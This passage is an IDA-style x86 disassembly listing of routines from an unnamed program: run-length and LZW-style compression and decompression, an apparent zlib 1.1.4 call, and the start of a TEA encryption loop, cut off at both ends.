					; sub_49034E:loc_49048Bj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_8]
		jnb	loc_490490
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_C]
		jnb	loc_490490
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 0FFh
		jnz	loc_490467
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 0FFh
		jz	short loc_490441
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		add	eax, 3
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_18]
		cmp	edx, [ebp+var_C]
		jb	short loc_49041C
		jmp	short loc_490490
; ---------------------------------------------------------------------------


loc_49041C:				; CODE XREF: sub_49034E+CAj
					; sub_49034E+EFj
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		sub	ecx, 1
		mov	[ebp+var_18], ecx
		test	eax, eax
		jz	short loc_49043F
		mov	edx, [ebp+var_14]
		mov	al, [ebp+var_4]
		mov	[edx], al
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		jmp	short loc_49041C
; ---------------------------------------------------------------------------


loc_49043F:				; CODE XREF: sub_49034E+DCj
		jmp	short loc_490465
; ---------------------------------------------------------------------------


loc_490441:				; CODE XREF: sub_49034E+A9j
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_14]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_490465:				; CODE XREF: sub_49034E:loc_49043Fj
		jmp	short loc_49048B
; ---------------------------------------------------------------------------


loc_490467:				; CODE XREF: sub_49034E+8Dj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_14]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_49048B:				; CODE XREF: sub_49034E:loc_490465j
		jmp	loc_4903B6
; ---------------------------------------------------------------------------


loc_490490:				; CODE XREF: sub_49034E+6Ej
					; sub_49034E+7Aj ...
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_8]
		jnz	short loc_4904A3
		mov	edx, [ebp+var_14]
		sub	edx, [ebp+Dst]
		mov	[ebp+var_5C], edx
		jmp	short loc_4904AA
; ---------------------------------------------------------------------------


loc_4904A3:				; CODE XREF: sub_49034E+148j
		mov	[ebp+var_5C], 0


loc_4904AA:				; CODE XREF: sub_49034E+153j
		mov	eax, [ebp+var_5C]
		mov	[ebp+Size], eax


loc_4904B0:				; CODE XREF: sub_49034E+63j
		jmp	loc_490537
; ---------------------------------------------------------------------------


loc_4904B5:				; CODE XREF: sub_49034E+Dj
		push	38h		; Size
		push	0		; Val
		lea	ecx, [ebp+var_54]
		push	ecx		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	edx, [ebp+Size]
		mov	[ebp+var_50], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_54], ecx
		mov	edx, [ebp+Dst]
		mov	[ebp+var_48], edx
		push	38h
		push	offset a1_1_4	; "1.1.4"
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_4C0B5A
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_490530
		push	4
		lea	ecx, [ebp+var_54]
		push	ecx
		call	sub_4C0B75
		add	esp, 8
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 1
		jnz	short loc_49051B
		mov	edx, [ebp+var_48]
		sub	edx, [ebp+Dst]
		mov	[ebp+Size], edx
		jmp	short loc_490522
; ---------------------------------------------------------------------------


loc_49051B:				; CODE XREF: sub_49034E+1C0j
		mov	[ebp+Size], 0


loc_490522:				; CODE XREF: sub_49034E+1CBj
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_4C098B
		add	esp, 4
		jmp	short loc_490537
; ---------------------------------------------------------------------------


loc_490530:				; CODE XREF: sub_49034E+1A9j
		mov	[ebp+Size], 0


loc_490537:				; CODE XREF: sub_49034E:loc_4904B0j
					; sub_49034E+1E0j
		mov	eax, [ebp+Size]
		mov	esp, ebp
		pop	ebp
		retn
sub_49034E	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		call	sub_490893
		call	sub_490901
		mov	eax, [ebp+10h]
		add	eax, 1
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-1Ch], eax
		mov	ecx, [ebp-1Ch]
		mov	[ebp-10h], ecx
		push	1
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp-10h]
		push	eax
		call	sub_490743
		add	esp, 0Ch
		mov	ecx, [ebp+8]
		mov	[ebp-8], ecx
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-8]
		add	eax, [edx]
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp-8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax


loc_49059E:				; CODE XREF: .text:004906BAj
		mov	ecx, [ebp-8]
		cmp	ecx, [ebp-0Ch]
		jnb	loc_4906BF
		xor	edx, edx
		mov	dl, byte_4F36C8
		test	edx, edx
		jnz	loc_4906BF
		mov	eax, [ebp-8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		call	sub_490962
		add	esp, 8
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		imul	eax, 0Ch
		mov	ecx, dword_4F36E0
		add	ecx, eax
		mov	[ebp-18h], ecx
		mov	edx, [ebp-18h]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	loc_4906A9
		mov	eax, [ebp-18h]
		mov	ecx, dword_4F36BC
		mov	[eax], ecx
		mov	edx, dword_4F36BC
		add	edx, 1
		mov	dword_4F36BC, edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-4]
		mov	[eax+4], ecx
		mov	edx, [ebp-18h]
		mov	eax, [ebp-8]
		mov	cl, [eax]
		mov	[edx+8], cl
		mov	edx, dword_4F36DC
		push	edx
		mov	eax, [ebp-4]
		push	eax
		call	sub_4907D5
		add	esp, 8
		mov	ecx, [ebp-8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		cmp	dword_4F36BC, 7FFFh
		jbe	short loc_49065F
		mov	eax, dword_4F36DC
		push	eax
		push	102h
		call	sub_4907D5
		add	esp, 8
		call	sub_490901
		jmp	short loc_4906A7
; ---------------------------------------------------------------------------


loc_49065F:				; CODE XREF: .text:00490643j
		mov	ecx, dword_4F36BC
		cmp	ecx, dword_4F36CC
		jbe	short loc_4906A7
		mov	edx, dword_4F36DC
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		push	eax
		push	101h
		mov	ecx, dword_4F36DC
		add	ecx, 1
		mov	dword_4F36DC, ecx
		call	sub_4907D5
		add	esp, 8
		mov	edx, dword_4F36CC
		shl	edx, 1
		or	edx, 1
		mov	dword_4F36CC, edx


loc_4906A7:				; CODE XREF: .text:0049065Dj
					; .text:0049066Bj
		jmp	short loc_4906B1
; ---------------------------------------------------------------------------


loc_4906A9:				; CODE XREF: .text:004905E8j
		mov	eax, [ebp-18h]
		mov	ecx, [eax]
		mov	[ebp-4], ecx


loc_4906B1:				; CODE XREF: .text:loc_4906A7j
		mov	edx, [ebp-8]
		add	edx, 1
		mov	[ebp-8], edx
		jmp	loc_49059E
; ---------------------------------------------------------------------------


loc_4906BF:				; CODE XREF: .text:004905A4j
					; .text:004905B4j
		xor	eax, eax
		mov	al, byte_4F36C8
		test	eax, eax
		jnz	short loc_4906F0
		mov	ecx, dword_4F36DC
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		call	sub_4907D5
		add	esp, 8
		mov	eax, dword_4F36DC
		push	eax
		push	100h
		call	sub_4907D5
		add	esp, 8


loc_4906F0:				; CODE XREF: .text:004906C8j
		xor	ecx, ecx
		mov	cl, byte_4F36C8
		test	ecx, ecx
		jnz	short loc_49071C
		call	sub_4907A9
		mov	edx, [ebp+0Ch]
		mov	[edx], eax
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	_memcpy_1
		add	esp, 0Ch


loc_49071C:				; CODE XREF: .text:004906FAj
		mov	ecx, [ebp-10h]
		mov	[ebp-20h], ecx
		mov	edx, [ebp-20h]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		call	sub_4908CE
		xor	eax, eax
		mov	al, byte_4F36C8
		test	eax, eax
		setz	al
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490743	proc near		; CODE XREF: .text:00490572p
					; .text:00490A18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_4F36D0, eax
		mov	ecx, dword_4F36D0
		mov	dword_4F36D4, ecx
		mov	edx, dword_4F36D4
		add	edx, [ebp+arg_4]
		mov	dword_4F36C4, edx
		mov	byte_4F36D8, 80h
		mov	eax, [ebp+arg_8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_490785
		mov	byte_4F36E4, 0
		jmp	short loc_4907A0
; ---------------------------------------------------------------------------


loc_490785:				; CODE XREF: sub_490743+37j
		mov	ecx, dword_4F36D0
		mov	dl, [ecx]
		mov	byte_4F36E4, dl
		mov	eax, dword_4F36D0
		add	eax, 1
		mov	dword_4F36D0, eax


loc_4907A0:				; CODE XREF: sub_490743+40j
		mov	byte_4F36C8, 0
		pop	ebp
		retn
sub_490743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4907A9	proc near		; CODE XREF: .text:004906FCp
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F36D0
		mov	cl, byte_4F36E4
		mov	[eax], cl
		mov	edx, dword_4F36D0
		add	edx, 1
		mov	dword_4F36D0, edx
		mov	eax, dword_4F36D0
		sub	eax, dword_4F36D4
		pop	ebp
		retn
sub_4907A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4907D5	proc near		; CODE XREF: .text:00490627p
					; .text:00490650p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_4], eax


loc_4907E9:				; CODE XREF: sub_4907D5+A6j
		cmp	[ebp+var_4], 0
		jz	loc_490880
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	short loc_49080F
		mov	dl, byte_4F36E4
		or	dl, byte_4F36D8
		mov	byte_4F36E4, dl


loc_49080F:				; CODE XREF: sub_4907D5+26j
		mov	al, byte_4F36D8
		shr	al, 1
		mov	byte_4F36D8, al
		xor	ecx, ecx
		mov	cl, byte_4F36D8
		test	ecx, ecx
		jnz	short loc_490873
		mov	edx, dword_4F36D0
		cmp	edx, dword_4F36C4
		jnb	short loc_490851
		mov	eax, dword_4F36D0
		mov	cl, byte_4F36E4
		mov	[eax], cl
		mov	edx, dword_4F36D0
		add	edx, 1
		mov	dword_4F36D0, edx


loc_490851:				; CODE XREF: sub_4907D5+5Ej
		mov	eax, dword_4F36D0
		cmp	eax, dword_4F36C4
		jb	short loc_490865
		mov	byte_4F36C8, 1


loc_490865:				; CODE XREF: sub_4907D5+87j
		mov	byte_4F36E4, 0
		mov	byte_4F36D8, 80h


loc_490873:				; CODE XREF: sub_4907D5+50j
		mov	ecx, [ebp+var_4]
		sar	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_4907E9
; ---------------------------------------------------------------------------


loc_490880:				; CODE XREF: sub_4907D5+18j
		xor	edx, edx
		mov	dl, byte_4F36C8
		mov	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_4907D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490893	proc near		; CODE XREF: .text:00490546p
					; .text:00490A07p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	669B4h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	dword_4F36E0, eax
		push	88CFh
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	dword_4F36C0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_490893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4908CE	proc near		; CODE XREF: .text:0049072Ep
					; .text:00490BEAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4F36E0
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, dword_4F36C0
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_4908CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490901	proc near		; CODE XREF: .text:0049054Bp
					; .text:00490658p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_490917
; ---------------------------------------------------------------------------


loc_49090E:				; CODE XREF: sub_490901+32j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_490917:				; CODE XREF: sub_490901+Bj
		cmp	[ebp+var_4], 88CFh
		jnb	short loc_490935
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, dword_4F36E0
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		jmp	short loc_49090E
; ---------------------------------------------------------------------------


loc_490935:				; CODE XREF: sub_490901+1Dj
		mov	dword_4F36BC, 103h
		mov	dword_4F36DC, 9
		mov	eax, 1
		mov	ecx, dword_4F36DC
		shl	eax, cl
		sub	eax, 1
		mov	dword_4F36CC, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_490901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490962	proc near		; CODE XREF: .text:004905C6p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		shl	eax, 7
		xor	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_490987
		mov	ecx, 88CFh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		jmp	short loc_49098E
; ---------------------------------------------------------------------------


loc_490987:				; CODE XREF: sub_490962+16j
		mov	[ebp+var_10], 1


loc_49098E:				; CODE XREF: sub_490962+23j
		mov	edx, [ebp+var_10]
		mov	[ebp+var_4], edx


loc_490994:				; CODE XREF: sub_490962:loc_4909FBj
		mov	eax, 1
		test	eax, eax
		jz	short loc_4909FD
		mov	ecx, [ebp+var_8]
		imul	ecx, 0Ch
		mov	edx, dword_4F36E0
		add	edx, ecx
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4909BB
		mov	eax, [ebp+var_8]
		jmp	short loc_4909FD
; ---------------------------------------------------------------------------


loc_4909BB:				; CODE XREF: sub_490962+52j
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_4909D8
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax+8]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_4909D8
		mov	eax, [ebp+var_8]
		jmp	short loc_4909FD
; ---------------------------------------------------------------------------


loc_4909D8:				; CODE XREF: sub_490962+62j
					; sub_490962+6Fj
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jnb	short loc_4909F2
		mov	eax, 88CFh
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_4909FB
; ---------------------------------------------------------------------------


loc_4909F2:				; CODE XREF: sub_490962+7Cj
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_4909FB:				; CODE XREF: sub_490962+8Ej
		jmp	short loc_490994
; ---------------------------------------------------------------------------


loc_4909FD:				; CODE XREF: sub_490962+39j
					; sub_490962+57j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_490962	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		call	sub_490893
		push	0
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_490743
		add	esp, 0Ch
		mov	eax, [ebp+10h]
		add	eax, 1
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-28h], eax
		mov	ecx, [ebp-28h]
		mov	[ebp-10h], ecx
		mov	edx, [ebp+10h]
		mov	eax, [ebp-10h]
		lea	ecx, [eax+edx+1]
		mov	[ebp-4], ecx
		mov	edx, [ebp-10h]
		mov	[ebp-8], edx
		mov	byte ptr [ebp-0Ch], 0


loc_490A4F:				; CODE XREF: .text:loc_490BB2j
		mov	eax, [ebp-0Ch]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_490BB7
		call	sub_490901
		mov	ecx, dword_4F36DC
		push	ecx
		call	sub_490C14
		add	esp, 4
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 100h
		jnz	short loc_490A83
		mov	byte ptr [ebp-0Ch], 1


loc_490A83:				; CODE XREF: .text:00490A7Dj
		mov	edx, [ebp-14h]
		mov	[ebp-18h], edx
		mov	eax, [ebp-8]
		mov	cl, [ebp-18h]
		mov	[eax], cl
		mov	edx, [ebp-8]
		add	edx, 1
		mov	[ebp-8], edx


loc_490A9A:				; CODE XREF: .text:00490AF4j
					; .text:00490BADj
		mov	eax, [ebp-0Ch]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_490BB2
		mov	ecx, dword_4F36DC
		push	ecx
		call	sub_490C14
		add	esp, 4
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 100h
		jnz	short loc_490ACE
		mov	byte ptr [ebp-0Ch], 1
		jmp	loc_490BB2
; ---------------------------------------------------------------------------


loc_490ACE:				; CODE XREF: .text:00490AC3j
		cmp	dword ptr [ebp-24h], 102h
		jnz	short loc_490ADC
		jmp	loc_490BB2
; ---------------------------------------------------------------------------


loc_490ADC:				; CODE XREF: .text:00490AD5j
		cmp	dword ptr [ebp-24h], 101h
		jnz	short loc_490AF6
		mov	edx, dword_4F36DC
		add	edx, 1
		mov	dword_4F36DC, edx
		jmp	short loc_490A9A
; ---------------------------------------------------------------------------


loc_490AF6:				; CODE XREF: .text:00490AE3j
		mov	eax, [ebp-24h]
		cmp	eax, dword_4F36BC
		jb	short loc_490B1F
		mov	ecx, dword_4F36C0
		mov	dl, [ebp-18h]
		mov	[ecx], dl
		mov	eax, [ebp-14h]
		push	eax
		push	1
		call	sub_490CC6
		add	esp, 8
		mov	[ebp-20h], eax
		jmp	short loc_490B30
; ---------------------------------------------------------------------------


loc_490B1F:				; CODE XREF: .text:00490AFFj
		mov	ecx, [ebp-24h]
		push	ecx
		push	0
		call	sub_490CC6
		add	esp, 8
		mov	[ebp-20h], eax


loc_490B30:				; CODE XREF: .text:00490B1Dj
		mov	edx, dword_4F36C0
		add	edx, [ebp-20h]
		xor	eax, eax
		mov	al, [edx-1]
		mov	[ebp-18h], eax


loc_490B41:				; CODE XREF: .text:00490B70j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_490B72
		mov	ecx, [ebp-8]
		cmp	ecx, [ebp-4]
		jnb	short loc_490B72
		mov	edx, [ebp-20h]
		sub	edx, 1
		mov	[ebp-20h], edx
		mov	eax, dword_4F36C0
		add	eax, [ebp-20h]
		mov	ecx, [ebp-8]
		mov	dl, [eax]
		mov	[ecx], dl
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax
		jmp	short loc_490B41
; ---------------------------------------------------------------------------


loc_490B72:				; CODE XREF: .text:00490B45j
					; .text:00490B4Dj
		mov	ecx, dword_4F36BC
		imul	ecx, 0Ch
		mov	edx, dword_4F36E0
		add	edx, ecx
		mov	[ebp-1Ch], edx
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-14h]
		mov	[eax+4], ecx
		mov	edx, [ebp-1Ch]
		mov	al, [ebp-18h]
		mov	[edx+8], al
		mov	ecx, dword_4F36BC
		add	ecx, 1
		mov	dword_4F36BC, ecx
		mov	edx, [ebp-24h]
		mov	[ebp-14h], edx
		jmp	loc_490A9A
; ---------------------------------------------------------------------------


loc_490BB2:				; CODE XREF: .text:00490AA4j
					; .text:00490AC9j ...
		jmp	loc_490A4F
; ---------------------------------------------------------------------------


loc_490BB7:				; CODE XREF: .text:00490A59j
		mov	eax, [ebp-8]
		sub	eax, [ebp-10h]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	_memcpy_1
		add	esp, 0Ch
		mov	eax, [ebp-10h]
		mov	[ebp-2Ch], eax
		mov	ecx, [ebp-2Ch]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		call	sub_4908CE
		xor	edx, edx
		mov	dl, byte_4F36C8
		test	edx, edx
		jnz	short loc_490C09
		mov	eax, [ebp-8]
		cmp	eax, [ebp-4]
		jz	short loc_490C09
		mov	byte ptr [ebp-2Dh], 1
		jmp	short loc_490C0D
; ---------------------------------------------------------------------------


loc_490C09:				; CODE XREF: .text:00490BF9j
					; .text:00490C01j
		mov	byte ptr [ebp-2Dh], 0


loc_490C0D:				; CODE XREF: .text:00490C07j
		mov	al, [ebp-2Dh]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490C14	proc near		; CODE XREF: .text:00490A6Bp
					; .text:00490AB1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_490C27:				; CODE XREF: sub_490C14:loc_490CBAj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		test	ecx, ecx
		jz	loc_490CBF
		mov	eax, [ebp+var_8]
		shl	eax, 1
		mov	[ebp+var_8], eax
		xor	ecx, ecx
		mov	cl, byte_4F36E4
		xor	edx, edx
		mov	dl, byte_4F36D8
		and	ecx, edx
		test	ecx, ecx
		jz	short loc_490C61
		mov	eax, [ebp+var_8]
		or	al, 1
		mov	[ebp+var_8], eax


loc_490C61:				; CODE XREF: sub_490C14+43j
		mov	cl, byte_4F36D8
		shr	cl, 1
		mov	byte_4F36D8, cl
		xor	edx, edx
		mov	dl, byte_4F36D8
		test	edx, edx
		jnz	short loc_490CBA
		mov	eax, dword_4F36D0
		cmp	eax, dword_4F36C4
		jb	short loc_490C98
		mov	byte_4F36C8, 1
		mov	byte_4F36E4, 0
		jmp	short loc_490CB3
; ---------------------------------------------------------------------------


loc_490C98:				; CODE XREF: sub_490C14+72j
		mov	ecx, dword_4F36D0
		mov	dl, [ecx]
		mov	byte_4F36E4, dl
		mov	eax, dword_4F36D0
		add	eax, 1
		mov	dword_4F36D0, eax


loc_490CB3:				; CODE XREF: sub_490C14+82j
		mov	byte_4F36D8, 80h


loc_490CBA:				; CODE XREF: sub_490C14+65j
		jmp	loc_490C27
; ---------------------------------------------------------------------------


loc_490CBF:				; CODE XREF: sub_490C14+21j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_490C14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490CC6	proc near		; CODE XREF: .text:00490B12p
					; .text:00490B25p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx


loc_490CCA:				; CODE XREF: sub_490CC6+41j
		cmp	[ebp+arg_4], 0FFh
		jbe	short loc_490D09
		mov	eax, [ebp+arg_4]
		imul	eax, 0Ch
		mov	ecx, dword_4F36E0
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, dword_4F36C0
		add	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax+8]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	[ebp+arg_4], ecx
		jmp	short loc_490CCA
; ---------------------------------------------------------------------------


loc_490D09:				; CODE XREF: sub_490CC6+Bj
		mov	edx, dword_4F36C0
		add	edx, [ebp+arg_0]
		mov	al, byte ptr [ebp+arg_4]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_490CC6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490D30	proc near		; CODE XREF: sub_490F38+67p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_20], 9E3779B9h
		mov	[ebp+var_18], 20h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFFFF8h
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		shr	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	[ebp+var_1C], eax
		cmp	[ebp+arg_C], 0
		jle	loc_490E6A


loc_490D8F:				; CODE XREF: sub_490D30:loc_490E60j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_1C]
		jnb	loc_490E65
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	[ebp+var_24], 0
		mov	[ebp+var_34], 20h
		mov	eax, [ebp+var_28]
		mov	[ebp+var_30], eax
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_38], ecx


loc_490DC6:				; CODE XREF: sub_490D30+FAj
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		test	edx, edx
		jbe	short loc_490E2C
		mov	ecx, [ebp+var_24]
		sub	ecx, 61C88647h
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_2C]
		shl	edx, 4
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_24]
		xor	edx, eax
		mov	ecx, [ebp+var_2C]
		shr	ecx, 5
		add	ecx, [ebp+var_C]
		xor	edx, ecx
		mov	eax, [ebp+var_28]
		add	eax, edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		shl	ecx, 4
		add	ecx, [ebp+var_10]
